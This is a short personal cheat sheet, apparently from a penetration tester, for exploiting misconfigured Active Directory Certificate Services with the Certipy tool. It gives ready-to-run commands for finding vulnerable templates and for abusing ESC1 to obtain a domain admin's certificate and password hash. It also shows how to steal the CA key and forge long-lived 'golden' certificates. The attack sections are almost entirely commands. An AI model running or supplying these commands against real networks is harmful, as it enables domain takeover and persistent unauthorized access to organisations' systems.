These are some scribbles if I ever need to look up how to exploit AD CS misconfigurations, such as ESC1. I might expand on this later…​

Note
This is nothing new, most of this stuff can be easily found on the Internet. This is just for my own reference. Please excuse my brevity.

Environment

For this article, we’re assuming the following (YMMV):

user $ echo $SHELL
/usr/bin/fish

user $ which certipy
/usr/bin/certipy
user $ which dasel
/usr/bin/dasel

user $ set win_domain company.org

user $ set dc_fqdn dc.{$win_domain}
user $ set dc_ip 192.168.1.1

user $ set ca_fqdn ca.{$win_domain}
user $ set ca_ip 192.168.1.10
user $ set ca_name COMPANYCA
user $ set esc1_template_name ESC1Template

user $ set regular_ad_user gijsbert
user $ set domain_admin dawilbert
user $ set domain_admin_upn {$domain_admin}@{$win_domain}

Enum

Enum AD CS using Certipy:

user $ certipy find -u $regular_ad_user -dc-ip $dc_ip
user $ cat 20241010093927_Certipy.json | dasel -r json \
         'all().all().filter(keys().all().filter(equal(.,[!] Vulnerabilities)))'

Enum only vulnerabilities in AD CS:

user $ certipy find -vulnerable -u $regular_ad_user -dc-ip $dc_ip

Exploiting ESC1

Requesting a certificate for another (higher privileged) account:

user $ certipy req -username $regular_ad_user -target-ip $ca_fqdn -ca $ca_name \
         -template $esc1_template_name -upn $domain_admin_upn
user $ certipy auth -pfx {$domain_admin}.pfx -domain $win_domain -dc-ip $dc_ip

The above should also retrieve the password hash of that account you’re hijacking.

Golden Certificates

If you managed to get a domain admin’s NTHash you can also backup (steal) the CA root / subordinate certificate. This will allow you to forge long-lived (possibly decades, depending on the CA certificate’s validity) certificates without needing to manually request them from the CA:

user $ certipy ca -backup -ca $ca_name -username $domain_admin -target-ip $ca_ip \
         -hashes 4efcxxxxxxxxxxxxxxxxxxxxxxxx3140
user $ certipy forge -ca-pfx {$ca_name}.pfx -upn $domain_admin_upn -crl 'ldap:///CN=COMPANYCA,CN=ca.company.org,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=company,DC=org?certificateRevocationList?base?objectClass=cRLDistributionPoint'
user $ certipy auth -pfx {$domain_admin}_forged.pfx -domain $win_domain -dc-ip $dc_ip